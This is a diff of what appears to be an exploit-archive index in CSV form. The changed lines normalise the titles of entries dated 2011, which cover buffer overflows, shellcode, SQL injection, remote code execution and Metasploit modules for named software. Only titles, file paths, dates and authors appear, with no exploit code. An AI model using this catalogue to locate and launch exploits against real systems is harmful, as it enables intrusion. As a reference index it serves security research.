 17544,platforms/windows/dos/17544.txt,"GDI+ CreateDashedPath Integer overflow in gdiplus.dll",2011-07-18,Abysssec,windows,dos,0
 17545,platforms/win32/shellcode/17545.txt,"win32/PerfectXp-pc1/sp3 (Tr) Add Admin Shellcode 112 bytes",2011-07-18,KaHPeSeSe,win32,shellcode,0
 17546,platforms/windows/remote/17546.py,"FreeFloat FTP Server REST, PASV Buffer Overflow Exploit",2011-07-18,"C4SS!0 G0M3S",windows,remote,0
@@ -15232,8 +15232,8 @@ id,file,description,date,author,platform,type,port
 17550,platforms/windows/remote/17550.py,"FreeFloat FTP Server ACCL Buffer Overflow Exploit",2011-07-19,mortis,windows,remote,0
 17551,platforms/jsp/webapps/17551.txt,"Oracle Sun GlassFish Enterprise Server Stored XSS Vulnerability",2011-07-20,"Sense of Security",jsp,webapps,0
 17553,platforms/php/webapps/17553.txt,"Appointment Booking Pro Joomla Component LFI Vulnerability",2011-07-20,"Don Tukulesto",php,webapps,0
-17554,platforms/php/webapps/17554.txt,"Mevin Basic PHP Events Lister v2.03 CSRF Vulnerabilities",2011-07-21,Crazy_Hacker,php,webapps,0
-17555,platforms/php/webapps/17555.txt,"Vbulletin 4.0.x => 4.1.3 (messagegroupid) SQL injection Vulnerability 0-day",2011-07-21,FB1H2S,php,webapps,0
+17554,platforms/php/webapps/17554.txt,"Mevin Basic PHP Events Lister 2.03 - CSRF Vulnerabilities",2011-07-21,Crazy_Hacker,php,webapps,0
+17555,platforms/php/webapps/17555.txt,"Vbulletin 4.0.x => 4.1.3 - (messagegroupid) SQL Injection Vulnerability 0day",2011-07-21,FB1H2S,php,webapps,0
 17556,platforms/php/webapps/17556.txt,"Joomla Component JE K2 Story Submit Local File Inclusion Vulnerability",2011-07-21,v3n0m,php,webapps,0
 17557,platforms/windows/remote/17557.html,"Dell IT Assistant detectIESettingsForITA.ocx ActiveX Control",2011-07-21,rgod,windows,remote,0
 17559,platforms/linux/shellcode/17559.c,"Linux x86 egghunt shellcode",2011-07-21,"Ali Raheem",linux,shellcode,0
@@ -15245,23 +15245,23 @@ id,file,description,date,author,platform,type,port
 17565,platforms/windows/local/17565.pl,"MPlayer Lite r33064 m3u Buffer Overflow Exploit (DEP Bypass)",2011-07-24,"C4SS!0 and h1ch4m",windows,local,0
 17567,platforms/osx/dos/17567.txt,"Safari SVG DOM processing PoC",2011-07-25,"Nikita Tarakanov",osx,dos,0
 17569,platforms/windows/dos/17569.py,"Ciscokits 1.0 TFTP Server File Name DoS",2011-07-25,"Craig Freyman",windows,dos,0
-17570,platforms/php/webapps/17570.txt,"Musicbox v3.7 and previous version Multiple Vulnerabilites",2011-07-25,R@1D3N,php,webapps,0
+17570,platforms/php/webapps/17570.txt,"Musicbox <= 3.7 - Multiple Vulnerabilites",2011-07-25,R@1D3N,php,webapps,0
 17571,platforms/php/webapps/17571.txt,"OpenX Ad Server 2.8.7 Cross Site Request Forgery",2011-07-26,"Narendra Shinde",php,webapps,0
 17572,platforms/multiple/webapps/17572.txt,"ManageEngine ServiceDesk Plus 8.0.0 Build 8013 Improper User Privileges",2011-07-26,"Narendra Shinde",multiple,webapps,0
 17573,platforms/php/webapps/17573.txt,"PHP-Barcode 0.3pl1 Remote Code Execution",2011-07-26,beford,php,webapps,0
 17574,platforms/jsp/webapps/17574.php,"CA ARCserve D2D r15 GWT RPC Multiple Vulnerabilities",2011-07-26,rgod,jsp,webapps,0
 17575,platforms/windows/remote/17575.txt,"Safari 5.0.5 SVG Remote Code Execution Exploit (DEP bypass)",2011-07-26,Abysssec,windows,remote,0
 17577,platforms/cgi/webapps/17577.txt,"SWAT Samba Web Administration Tool Cross-Site Request Forgery PoC",2011-07-27,"Narendra Shinde",cgi,webapps,0
-17578,platforms/windows/remote/17578.txt,"MinaliC Webserver v2.0 Remote Source Disclosure",2011-07-27,X-h4ck,windows,remote,0
+17578,platforms/windows/remote/17578.txt,"MinaliC Webserver 2.0 - Remote Source Disclosure",2011-07-27,X-h4ck,windows,remote,0
 17579,platforms/php/webapps/17579.rb,"Joomla 1.5 com_virtuemart <= 1.1.7 Blind time-based SQL Injection (MSF)",2011-07-28,TecR0c,php,webapps,0
-17580,platforms/windows/dos/17580.py,"MyWebServer v1.0.3 Denial Of Service",2011-07-28,X-h4ck,windows,dos,0
-17581,platforms/windows/remote/17581.txt,"MyWebServer v1.0.3 Arbitrary File Download",2011-07-28,X-h4ck,windows,remote,0
+17580,platforms/windows/dos/17580.py,"MyWebServer 1.0.3 - Denial Of Service",2011-07-28,X-h4ck,windows,dos,0
+17581,platforms/windows/remote/17581.txt,"MyWebServer 1.0.3 - Arbitrary File Download",2011-07-28,X-h4ck,windows,remote,0
 17582,platforms/windows/dos/17582.txt,"Citrix XenApp / XenDesktop Stack-Based Buffer Overflow",2011-07-28,"n.runs AG",windows,dos,0
 17583,platforms/windows/dos/17583.txt,"Citrix XenApp / XenDesktop XML Service Heap Corruption",2011-07-28,"n.runs AG",windows,dos,0
 17584,platforms/php/webapps/17584.php,"cFTP <= 0.1 (r80) Arbitrary File Upload",2011-07-29,leviathan,php,webapps,0
 17586,platforms/jsp/webapps/17586.txt,"ManageEngine ServiceDesk Plus 8.0 Build 8013 Multiple XSS Vulnerabilities",2011-07-29,"Narendra Shinde",jsp,webapps,0
 17587,platforms/php/webapps/17587.txt,"Link Station Pro Multiple Vulnerabilities",2011-07-30,"$#4d0\/\/[r007k17]",php,webapps,0
-17588,platforms/windows/remote/17588.rb,"Actfax FTP Server <= v4.27 USER Command 0day Stack Buffer Overflow (MSF)",2011-07-31,mr_me,windows,remote,0
+17588,platforms/windows/remote/17588.rb,"Actfax FTP Server <= 4.27 - USER Command 0day Stack Buffer Overflow (MSF)",2011-07-31,mr_me,windows,remote,0
 17590,platforms/php/webapps/17590.txt,"Digital Scribe 1.5 (register_form()) Multiple POST XSS Vulnerabilities",2011-07-31,LiquidWorm,php,webapps,0
 17591,platforms/php/webapps/17591.txt,"Joomla Component (com_obSuggest) Local File Inclusion Vulnerability",2011-07-31,v3n0m,php,webapps,0
 17592,platforms/php/webapps/17592.txt,"CMSPro! 2.08 CSRF Vulnerability",2011-08-01,Xadpritox,php,webapps,0
@@ -15269,12 +15269,12 @@ id,file,description,date,author,platform,type,port
 17594,platforms/jsp/webapps/17594.rb,"CA Arcserve D2D GWT RPC Credential Information Disclosure",2011-08-01,metasploit,jsp,webapps,0
 17595,platforms/php/webapps/17595.txt,"MyBB MyTabs (plugin) 0day SQL injection vulnerability",2011-08-02,"AutoRUN and dR.sqL",php,webapps,0
 17597,platforms/php/webapps/17597.txt,"SiteGenius Blind SQL injection Vulnerability",2011-08-02,"AutoRUN and dR.sqL",php,webapps,0
-17600,platforms/windows/local/17600.rb,"Zinf Audio Player v2.2.1 PLS File Buffer Overflow Vulnerability (DEP BYPASS)",2011-08-03,"C4SS!0 and h1ch4m",windows,local,0
+17600,platforms/windows/local/17600.rb,"Zinf Audio Player 2.2.1 - (.pls) Buffer Overflow Vulnerability (DEP BYPASS)",2011-08-03,"C4SS!0 and h1ch4m",windows,local,0
 17601,platforms/windows/dos/17601.py,"Omnicom Alpha 4.0e LPD Server DoS",2011-08-03,"Craig Freyman",windows,dos,0
 17602,platforms/php/webapps/17602.txt,"WordPress TimThumb Plugin - Remote Code Execution",2011-08-03,MaXe,php,webapps,0
 17603,platforms/php/webapps/17603.txt,"Joomla Component (com_jdirectory) SQL Injection Vulnerability",2011-08-03,"Caddy Dz",php,webapps,0
-17604,platforms/windows/local/17604.rb,"ABBS Audio Media Player v3.0 Buffer Overflow Exploit (MSF)",2011-08-04,"James Fitts",windows,local,0
-17605,platforms/windows/local/17605.rb,"ABBS Electronic Flashcards v2.1 Buffer Overflow Exploit (MSF)",2011-08-04,"James Fitts",windows,local,0
+17604,platforms/windows/local/17604.rb,"ABBS Audio Media Player 3.0 - Buffer Overflow Exploit (MSF)",2011-08-04,"James Fitts",windows,local,0
+17605,platforms/windows/local/17605.rb,"ABBS Electronic Flashcards 2.1 - Buffer Overflow Exploit (MSF)",2011-08-04,"James Fitts",windows,local,0
 17606,platforms/multiple/webapps/17606.txt,"DZYGroup CMS Portal Multiple SQL Injection Vulnerabilities",2011-08-04,Netrondoank,multiple,webapps,0
 17607,platforms/windows/local/17607.rb,"FreeAmp 2.0.7 .fat Buffer Overflow Exploit (MSF)",2011-08-04,"James Fitts",windows,local,0
 17610,platforms/multiple/dos/17610.py,"OpenSLP Denial of Service Exploit",2011-08-05,"Nicolas Gregoire",multiple,dos,0
@@ -15301,16 +15301,16 @@ id,file,description,date,author,platform,type,port
 17637,platforms/php/webapps/17637.txt,"Simple Machines forum (SMF) 2.0 session hijacking",2011-08-07,seth,php,webapps,0
 17638,platforms/windows/dos/17638.py,"LiteServe 2.81 PASV Command Denial of Service",2011-08-08,"Craig Freyman",windows,dos,0
 17639,platforms/php/webapps/17639.txt,"XpressEngine 1.4.5.7 Persistent XSS Vulnerability",2011-08-08,v0nSch3lling,php,webapps,0
-17640,platforms/php/webapps/17640.txt,"BlogPHP v2 Persistent XSS Vulnerability",2011-08-09,Paulzz,php,webapps,0
-17641,platforms/php/webapps/17641.txt,"Lasernet CMS Version 1.5 SQL Injection Vulnerability",2011-08-09,p0pc0rn,php,webapps,0
-17642,platforms/windows/dos/17642.txt,"Acoustica Mixcraft v1.00 Local Crash",2011-08-09,NassRawI,windows,dos,0
+17640,platforms/php/webapps/17640.txt,"BlogPHP 2.0 - Persistent XSS Vulnerability",2011-08-09,Paulzz,php,webapps,0
+17641,platforms/php/webapps/17641.txt,"Lasernet CMS 1.5 - SQL Injection Vulnerability",2011-08-09,p0pc0rn,php,webapps,0
+17642,platforms/windows/dos/17642.txt,"Acoustica Mixcraft 1.00 - Local Crash",2011-08-09,NassRawI,windows,dos,0
 17643,platforms/windows/dos/17643.pl,"Excel SLYK Format Parsing Buffer Overrun Vulnerability PoC",2011-08-09,webDEViL,windows,dos,0
 17644,platforms/php/webapps/17644.txt,"FCKeditor all version Arbitrary File Upload Vulnerability",2011-08-09,pentesters.ir,php,webapps,0
 17645,platforms/hardware/remote/17645.py,"iPhone/iPad Phone Drive 1.1.1 Directory Traversal",2011-08-09,IRCRASH,hardware,remote,0
 17646,platforms/php/webapps/17646.txt,"TNR Enhanced Joomla Search <= SQL Injection Vulnerability",2011-08-09,NoGe,php,webapps,0
-17647,platforms/windows/local/17647.rb,"A-PDF All to MP3 v2.3.0 Universal DEP Bypass Exploit",2011-08-10,"C4SS!0 G0M3S",windows,local,0
+17647,platforms/windows/local/17647.rb,"A-PDF All to MP3 2.3.0 - Universal DEP Bypass Exploit",2011-08-10,"C4SS!0 G0M3S",windows,local,0
 17648,platforms/linux/remote/17648.sh,"HP Data Protector Remote Root Shell for Linux",2011-08-10,SZ,linux,remote,0
-17649,platforms/windows/remote/17649.py,"BisonFTP Server <=v3.5 Remote Buffer Overflow Exploit",2011-08-10,localh0t,windows,remote,0
+17649,platforms/windows/remote/17649.py,"BisonFTP Server <= 3.5 - Remote Buffer Overflow Exploit",2011-08-10,localh0t,windows,remote,0
 17650,platforms/windows/remote/17650.rb,"Mozilla Firefox 3.6.16 mChannel use after free vulnerability",2011-08-10,metasploit,windows,remote,0
 17653,platforms/cgi/webapps/17653.txt,"Adobe RoboHelp 9 DOM Cross Site Scripting",2011-08-11,"Roberto Suggi Liverani",cgi,webapps,0
 17654,platforms/windows/local/17654.py,"MP3 CD Converter Professional 5.3.0 Universal DEP Bypass Exploit",2011-08-11,"C4SS!0 G0M3S",windows,local,0
@@ -15318,7 +15318,7 @@ id,file,description,date,author,platform,type,port
 17658,platforms/windows/dos/17658.py,"Simple HTTPd 1.42 Denial of Servive Exploit",2011-08-12,G13,windows,dos,0
 17659,platforms/windows/remote/17659.rb,"MS10-026 Microsoft MPEG Layer-3 Audio Stack Based Overflow",2011-08-13,metasploit,windows,remote,0
 17660,platforms/php/webapps/17660.txt,"videoDB <= 3.1.0 SQL Injection Vulnerability",2011-08-13,seceurityoverun,php,webapps,0
-17661,platforms/php/webapps/17661.txt,"Kahf Poems V1.0 Multiple Vulnerabilities",2011-08-13,"Yassin Aboukir",php,webapps,0
+17661,platforms/php/webapps/17661.txt,"Kahf Poems 1.0 - Multiple Vulnerabilities",2011-08-13,"Yassin Aboukir",php,webapps,0
 17662,platforms/php/webapps/17662.txt,"Mambo CMS 4.6.x (4.6.5) SQL Injection Vulnerability",2011-08-13,"Aung Khant",php,webapps,0
 17664,platforms/windows/dos/17664.py,"NSHC Papyrus Heap Overflow Vulnerability",2011-08-13,wh1ant,windows,dos,0
 17665,platforms/windows/local/17665.pl,"D.R. Software Audio Converter 8.1 DEP Bypass Exploit",2011-08-13,"C4SS!0 G0M3S",windows,local,0
@@ -15336,16 +15336,16 @@ id,file,description,date,author,platform,type,port
 17679,platforms/php/webapps/17679.txt,"WordPress WP Symposium plugin <= 0.64 SQL Injection Vulnerability",2011-08-17,"Miroslav Stampar",php,webapps,0
 17680,platforms/php/webapps/17680.txt,"WordPress Easy Contact Form Lite plugin <= 1.0.7 SQLi",2011-08-17,"Miroslav Stampar",php,webapps,0
 17681,platforms/php/webapps/17681.txt,"WordPress OdiHost Newsletter plugin <= 1.0 SQL Injection Vulnerability",2011-08-17,"Miroslav Stampar",php,webapps,0
-17682,platforms/php/webapps/17682.php,"Contrexx Shopsystem =<2.2 SP3 (catId) Blind SQL Injection",2011-08-17,Penguin,php,webapps,0
+17682,platforms/php/webapps/17682.php,"Contrexx Shopsystem <= 2.2 SP3 (catId) - Blind SQL Injection",2011-08-17,Penguin,php,webapps,0
 17683,platforms/php/webapps/17683.txt,"WordPress WP DS FAQ plugin <= 1.3.2 SQL Injection Vulnerability",2011-08-18,"Miroslav Stampar",php,webapps,0
 17684,platforms/php/webapps/17684.txt,"WordPress WP Forum plugin <= 1.7.8 SQL Injection Vulnerability",2011-08-18,"Miroslav Stampar",php,webapps,0
-17685,platforms/php/webapps/17685.txt,"Elgg 1.7.10 <= Multiple Vulnerabilities",2011-08-18,"Aung Khant",php,webapps,0
+17685,platforms/php/webapps/17685.txt,"Elgg <= 1.7.10 - Multiple Vulnerabilities",2011-08-18,"Aung Khant",php,webapps,0
 17686,platforms/php/webapps/17686.txt,"WordPress Ajax Gallery plugin <= 3.0 SQL Injection Vulnerability",2011-08-18,"Miroslav Stampar",php,webapps,0
 17687,platforms/php/webapps/17687.txt,"WordPress Global Content Blocks plugin <= 1.2 SQL Injection Vulnerability",2011-08-18,"Miroslav Stampar",php,webapps,0
 17688,platforms/php/webapps/17688.txt,"WordPress Allow PHP in Posts and Pages plugin <= 2.0.0.RC1 SQL Injection Vulnerability",2011-08-18,"Miroslav Stampar",php,webapps,0
 17689,platforms/php/webapps/17689.txt,"WordPress Menu Creator plugin <= 1.1.7 SQL Injection Vulnerability",2011-08-18,"Miroslav Stampar",php,webapps,0
 17691,platforms/multiple/remote/17691.rb,"Apache Struts < 2.2.0 Remote Command Execution",2011-08-19,metasploit,multiple,remote,0
-17692,platforms/windows/remote/17692.rb,"Solarftp v2.1.2 PASV Buffer Overflow Exploit (MSF)",2011-08-19,Qnix,windows,remote,0
+17692,platforms/windows/remote/17692.rb,"Solarftp 2.1.2 - PASV Buffer Overflow Exploit (MSF)",2011-08-19,Qnix,windows,remote,0
 17694,platforms/php/webapps/17694.txt,"Network Tracker .95 Stored XSS",2011-08-19,G13,php,webapps,0
 17695,platforms/php/webapps/17695.txt,"phpMyRealty <= v. 1.0.7 SQL Injection Vulnerability",2011-08-19,H4T$A,php,webapps,0
 17696,platforms/multiple/dos/17696.pl,"Apache httpd Remote Denial of Service (memory exhaustion)",2011-08-19,Kingcope,multiple,dos,0
@@ -15365,14 +15365,14 @@ id,file,description,date,author,platform,type,port
 17711,platforms/asp/webapps/17711.txt,"Redlab CMS Multiple SQL Injection Vulnerabilities",2011-08-22,tempe_mendoan,asp,webapps,0
 17712,platforms/windows/dos/17712.txt,"Adobe Photoshop CS5 GIF Remote Code Execution",2011-08-22,"Francis Provencher",windows,dos,0
 17713,platforms/jsp/webapps/17713.txt,"ManageEngine ServiceDesk Plus 8.0 Multiple Stored XSS Vulnerabilities",2011-08-23,LiquidWorm,jsp,webapps,0
-17714,platforms/php/webapps/17714.txt,"Help Desk Software 1.1g XSRF (add admin) Vulnerability",2011-08-24,G13,php,webapps,0
+17714,platforms/php/webapps/17714.txt,"Help Desk Software 1.1g - CSRF (add admin) Vulnerability",2011-08-24,G13,php,webapps,0
 17715,platforms/windows/local/17715.html,"F-Secure Multiple Products ActiveX SEH Overwrite Vulnerability (Heap Spray)",2011-08-24,41.w4r10r,windows,local,0
 17716,platforms/php/webapps/17716.txt,"WordPress SendIt plugin <= 1.5.9 Blind SQL Injection Vulnerability",2011-08-25,evilsocket,php,webapps,0
 17718,platforms/windows/dos/17718.pl,"Groovy Media Player 2.6.0 (.m3u) Local Buffer Overflow PoC",2011-08-26,"D3r K0n!G",windows,dos,0
 17719,platforms/windows/remote/17719.rb,"RealVNC Authentication Bypass",2011-08-26,metasploit,windows,remote,0
 17720,platforms/php/webapps/17720.txt,"WordPress Photoracer plugin <= 1.0 SQL Injection Vulnerability",2011-08-26,evilsocket,php,webapps,0
 17721,platforms/windows/remote/17721.rb,"Sunway Force Control SCADA 6.1 SP3 httpsrv.exe Exploit",2011-08-26,"Canberk BOLAT",windows,remote,0
-17722,platforms/php/webapps/17722.rb,"Jcow Social Networking Script 4.2 <= 5.2 Arbitrary Code Execution",2011-08-26,"Aung Khant",php,webapps,0
+17722,platforms/php/webapps/17722.rb,"Jcow Social Networking Script 4.2 <= 5.2 - Arbitrary Code Execution",2011-08-26,"Aung Khant",php,webapps,0
 17724,platforms/php/webapps/17724.txt,"WordPress Js-appointment plugin <= 1.5 SQL Injection Vulnerability",2011-08-27,"Miroslav Stampar",php,webapps,0
 17725,platforms/php/webapps/17725.txt,"WordPress MM Forms Community plugin <= 1.2.3 SQL Injection Vulnerability",2011-08-27,"Miroslav Stampar",php,webapps,0
 17727,platforms/windows/local/17727.txt,"Free MP3 CD Ripper 1.1 Local Buffer Overflow",2011-08-27,X-h4ck,windows,local,0
@@ -15381,8 +15381,8 @@ id,file,description,date,author,platform,type,port
 17730,platforms/php/webapps/17730.txt,"WordPress oQey Headers plugin <= 0.3 SQL Injection Vulnerability",2011-08-27,"Miroslav Stampar",php,webapps,0
 17731,platforms/php/webapps/17731.txt,"WordPress Photoracer Plugin <= 1.0 Multiple Vulnerabilities",2011-08-27,"Yakir Wizman",php,webapps,0
 17732,platforms/windows/local/17732.py,"Free MP3 CD Ripper 1.1 DEP Bypass Exploit",2011-08-27,"C4SS!0 G0M3S",windows,local,0
-17733,platforms/asp/webapps/17733.txt,"Ferdows CMS Pro <=1.1.0 Multiple Vulnerabilities",2011-08-28,"AmnPardaz ",asp,webapps,0
-17734,platforms/php/webapps/17734.txt,"JCE Joomla Extension <=2.0.10 Multiple Vulnerabilities",2011-08-28,"AmnPardaz ",php,webapps,0
+17733,platforms/asp/webapps/17733.txt,"Ferdows CMS Pro <= 1.1.0 - Multiple Vulnerabilities",2011-08-28,"AmnPardaz ",asp,webapps,0
+17734,platforms/php/webapps/17734.txt,"JCE Joomla Extension <= 2.0.10 - Multiple Vulnerabilities",2011-08-28,"AmnPardaz ",php,webapps,0
 17735,platforms/windows/local/17735.pl,"yahoo! player 1.5 (.m3u) Universal Buffer Overflow (SEH)",2011-08-28,"D3r K0n!G",windows,local,0
 17736,platforms/php/webapps/17736.txt,"Joomla Simple File Lister module <= 1.0 Directory Traversal Vulnerability",2011-08-28,evilsocket,php,webapps,0
 17737,platforms/php/webapps/17737.txt,"WordPress Facebook Promotions plugin <= 1.3.3 SQL Injection Vulnerability",2011-08-28,"Miroslav Stampar",php,webapps,0
@@ -15411,7 +15411,7 @@ id,file,description,date,author,platform,type,port
 17762,platforms/windows/remote/17762.rb,"Citrix Gateway ActiveX Control Stack Based Buffer Overflow Vulnerability",2011-08-31,metasploit,windows,remote,0
 17763,platforms/php/webapps/17763.txt,"WordPress Donation plugin <= 1.0 SQL Injection",2011-09-01,"Miroslav Stampar",php,webapps,0
 17764,platforms/php/webapps/17764.txt,"WordPress WP Bannerize plugin <= 2.8.6 SQL Injection",2011-09-01,"Miroslav Stampar",php,webapps,0
-17766,platforms/windows/webapps/17766.txt,"NetSaro Enterprise Messenger v2.0 Multiple Vulnerabilities",2011-09-01,"Narendra Shinde",windows,webapps,0
+17766,platforms/windows/webapps/17766.txt,"NetSaro Enterprise Messenger 2.0 - Multiple Vulnerabilities",2011-09-01,"Narendra Shinde",windows,webapps,0
 17767,platforms/php/webapps/17767.txt,"WordPress SearchAutocomplete plugin <= 1.0.8 SQL Injection Vulnerability",2011-09-01,"Miroslav Stampar",php,webapps,0
 17769,platforms/linux/dos/17769.c,"Linux Kernel 'perf_count_sw_cpu_clock' event Denial of Service",2011-09-01,"Vince Weaver",linux,dos,0
 17770,platforms/windows/local/17770.rb,"DVD X Player 5.5 .plf PlayList Buffer Overflow",2011-09-01,metasploit,windows,local,0
@@ -15424,16 +15424,16 @@ id,file,description,date,author,platform,type,port
 17779,platforms/php/webapps/17779.txt,"WordPress oQey Gallery plugin <= 0.4.8 SQL Injection Vulnerability",2011-09-05,"Miroslav Stampar",php,webapps,0
 17780,platforms/windows/local/17780.py,"CoolPlayer Portable 2.19.2 Buffer Overflow (ASLR Bypass)",2011-09-05,Blake,windows,local,0
 17781,platforms/windows/dos/17781.pl,"World Of Warcraft Local Stack Overflow Dos Exploit (chat-cache.txt)",2011-09-05,"BSOD Digital",windows,dos,0
-17782,platforms/php/webapps/17782.txt,"Elite Gaming Ladders v3.6 SQL Injection Vulnerability",2011-09-05,J.O,php,webapps,0
-17783,platforms/windows/local/17783.pl,"ZipX for Windows v1.71 ZIP File Buffer Overflow Exploit",2011-09-05,"C4SS!0 G0M3S",windows,local,0
-17785,platforms/windows/dos/17785.pl,"TOWeb V3 Local Format String DOS Exploit (TOWeb.MO file corruption)",2011-09-05,"BSOD Digital",windows,dos,0
+17782,platforms/php/webapps/17782.txt,"Elite Gaming Ladders 3.6 - SQL Injection Vulnerability",2011-09-05,J.O,php,webapps,0
+17783,platforms/windows/local/17783.pl,"ZipX for Windows 1.71 ZIP File - Buffer Overflow Exploit",2011-09-05,"C4SS!0 G0M3S",windows,local,0
+17785,platforms/windows/dos/17785.pl,"TOWeb 3.0 - Local Format String DOS Exploit (TOWeb.MO file corruption)",2011-09-05,"BSOD Digital",windows,dos,0
 17786,platforms/php/webapps/17786.txt,"Webmobo WB News System Blind SQL Injection",2011-09-05,"Eyup CELIK",php,webapps,0
 17787,platforms/linux/local/17787.c,"Linux Kernel < 2.6.36.2 Econet Privilege Escalation Exploit",2011-09-05,"Jon Oberheide",linux,local,0
 17788,platforms/windows/local/17788.py,"DVD X Player 5.5 Pro SEH Overwrite",2011-09-06,Blake,windows,local,0
 17789,platforms/php/webapps/17789.txt,"WordPress Tweet Old Post plugin <= 3.2.5 SQL Injection Vulnerability",2011-09-06,sherl0ck_,php,webapps,0
 17790,platforms/php/webapps/17790.txt,"WordPress post highlights plugin <= 2.2 SQL Injection Vulnerability",2011-09-06,"Miroslav Stampar",php,webapps,0
 17791,platforms/php/webapps/17791.txt,"WordPress KNR Author List Widget plugin <= 2.0.0 SQL Injection Vulnerability",2011-09-06,"Miroslav Stampar",php,webapps,0
-17792,platforms/php/webapps/17792.txt,"PlaySMS 0.9.5.2 <= Remote File Inclusion Vulnerability",2011-09-06,NoGe,php,webapps,0
+17792,platforms/php/webapps/17792.txt,"PlaySMS <= 0.9.5.2 - Remote File Inclusion Vulnerability",2011-09-06,NoGe,php,webapps,0
 17793,platforms/php/webapps/17793.txt,"WordPress SCORM Cloud plugin <= 1.0.6.6 SQL Injection Vulnerability",2011-09-07,"Miroslav Stampar",php,webapps,0
 17794,platforms/php/webapps/17794.txt,"WordPress Eventify - Simple Events plugin <= 1.7.f SQL Injection Vulnerability",2011-09-07,"Miroslav Stampar",php,webapps,0
 17795,platforms/windows/dos/17795.py,"Crush FTP 5 'APPE' command Remote JVM BSOD PoC Exploit",2011-09-07,"BSOD Digital",windows,dos,0
@@ -15444,7 +15444,7 @@ id,file,description,date,author,platform,type,port
 17801,platforms/php/webapps/17801.rb,"Wordpress 1 Flash Gallery Plugin Arbiraty File Upload Exploit (MSF)",2011-09-08,"Ben Schmidt",php,webapps,0
 17803,platforms/windows/local/17803.php,"DVD X Player 5.5 Pro (SEH DEP + ASLR Bypass) Exploit",2011-09-08,Rew,windows,local,0
 17806,platforms/linux/dos/17806.txt,"Ubuntu <= 11.04 ftp client Local Buffer Overflow Crash PoC",2011-09-08,localh0t,linux,dos,0
-17807,platforms/php/webapps/17807.txt,"OpenCart v1.5.1.2 / Blind SQL Vulnerability",2011-09-08,"RiRes Walid",php,webapps,0
+17807,platforms/php/webapps/17807.txt,"OpenCart 1.5.1.2 - Blind SQL Vulnerability",2011-09-08,"RiRes Walid",php,webapps,0
 17808,platforms/php/webapps/17808.txt,"WordPress WP-Filebase Download Manager plugin <= 0.2.9 SQL Injection Vulnerability",2011-09-09,"Miroslav Stampar",php,webapps,0
 17809,platforms/php/webapps/17809.txt,"WordPress A to Z Category Listing plugin <= 1.3 SQL Injection Vulnerability",2011-09-09,"Miroslav Stampar",php,webapps,0
 17810,platforms/windows/remote/17810.rb,"BisonFTP Server Remote Buffer Overflow Exploit (MSF)",2011-09-09,"SecPod Research",windows,remote,0
@@ -15458,17 +15458,17 @@ id,file,description,date,author,platform,type,port
 17819,platforms/windows/remote/17819.py,"KnFTP Server Buffer Overflow Exploit",2011-09-12,Blake,windows,remote,0
 17820,platforms/windows/local/17820.c,"Aika 0.2 colladaconverter Xml Parsing Buffer Overflow",2011-09-12,isciurus,windows,local,0
 17821,platforms/windows/local/17821.py,"Wav Player 1.1.3.6 .pll Buffer Overflow Exploit",2011-09-12,"Iván García Ferreira",windows,local,0
-17822,platforms/php/webapps/17822.txt,"PHP Support Tickets v2.2 Code Exec",2011-09-12,brain[pillow],php,webapps,0
+17822,platforms/php/webapps/17822.txt,"PHP Support Tickets 2.2 - Code Execution",2011-09-12,brain[pillow],php,webapps,0
 17823,platforms/php/webapps/17823.txt,"NetCat CMS Multiple Vulnerabilities",2011-09-12,brain[pillow],php,webapps,0
 17824,platforms/php/webapps/17824.txt,"Slaed CMS Code Exec Vulnerability",2011-09-12,brain[pillow],php,webapps,0
 17825,platforms/php/webapps/17825.txt,"AstroCMS Multiple Vulnerabilities",2011-09-12,brain[pillow],php,webapps,0
-17827,platforms/windows/remote/17827.rb,"Procyon Core Server HMI <= v1.13 Coreservice.exe Stack Buffer Overflow",2011-09-12,metasploit,windows,remote,0
+17827,platforms/windows/remote/17827.rb,"Procyon Core Server HMI <= 1.13 - Coreservice.exe Stack Buffer Overflow",2011-09-12,metasploit,windows,remote,0
 17828,platforms/php/webapps/17828.txt,"WordPress WP Forum Server plugin <= 1.7 SQL Injection Vulnerability",2011-09-13,"Miroslav Stampar",php,webapps,0
 17829,platforms/php/webapps/17829.txt,"dotProject 2.1.5 SQL Injection Vulnerability",2011-09-13,sherl0ck_,php,webapps,0
 17830,platforms/windows/dos/17830.txt,"Microsoft WINS Service <= 5.2.3790.4520 Memory Corruption",2011-09-13,"Luigi Auriemma",windows,dos,0
 17831,platforms/windows/dos/17831.txt,"MS WINS ECommEndDlg Input Validation Error",2011-09-13,"Core Security",windows,dos,0
 17832,platforms/php/webapps/17832.txt,"WordPress WP e-Commerce plugin <= 3.8.6 SQL Injection Vulnerability",2011-09-14,"Miroslav Stampar",php,webapps,0
-17833,platforms/windows/local/17833.rb,"ScadaTEC ScadaPhone <= v5.3.11.1230 Stack Buffer Overflow",2011-09-13,metasploit,windows,local,0
+17833,platforms/windows/local/17833.rb,"ScadaTEC ScadaPhone <= 5.3.11.1230 - Stack Buffer Overflow",2011-09-13,metasploit,windows,local,0
 17835,platforms/windows/dos/17835.txt,"Beckhoff TwinCAT <= 2.11.0.2004 Denial of Service",2011-09-14,"Luigi Auriemma",windows,dos,0
 17836,platforms/windows/dos/17836.txt,"Equis MetaStock <= 11 Use After Free",2011-09-14,"Luigi Auriemma",windows,dos,0
 17837,platforms/windows/dos/17837.txt,"eSignal and eSignal Pro <= 10.6.2425.1208 Multiple Vulnerabilites",2011-09-14,"Luigi Auriemma",windows,dos,0
@@ -15483,9 +15483,9 @@ id,file,description,date,author,platform,type,port
 17847,platforms/windows/local/17847.py,"Mini-Stream Ripper 2.9.7 DEP Bypass",2011-09-16,Blake,windows,local,0
 17848,platforms/windows/remote/17848.rb,"Measuresoft ScadaPro <= 4.0.0 Remote Command Execution",2011-09-16,metasploit,windows,remote,0
 17849,platforms/windows/remote/17849.rb,"RealNetworks Realplayer QCP Parsing Heap Overflow",2011-09-17,metasploit,windows,remote,0
-17850,platforms/php/webapps/17850.txt,"iBrowser Plugin v1.4.1 (lang) Local File Inclusion Vulnerability",2011-09-17,LiquidWorm,php,webapps,0
-17851,platforms/php/webapps/17851.txt,"iManager Plugin v1.2.8 (lang) Local File Inclusion Vulnerability",2011-09-17,LiquidWorm,php,webapps,0
-17852,platforms/php/webapps/17852.txt,"iManager Plugin v1.2.8 (d) Remote Arbitrary File Deletion Vulnerability",2011-09-17,LiquidWorm,php,webapps,0
+17850,platforms/php/webapps/17850.txt,"iBrowser Plugin 1.4.1 (lang) - Local File Inclusion Vulnerability",2011-09-17,LiquidWorm,php,webapps,0
+17851,platforms/php/webapps/17851.txt,"iManager Plugin 1.2.8 (lang) - Local File Inclusion Vulnerability",2011-09-17,LiquidWorm,php,webapps,0
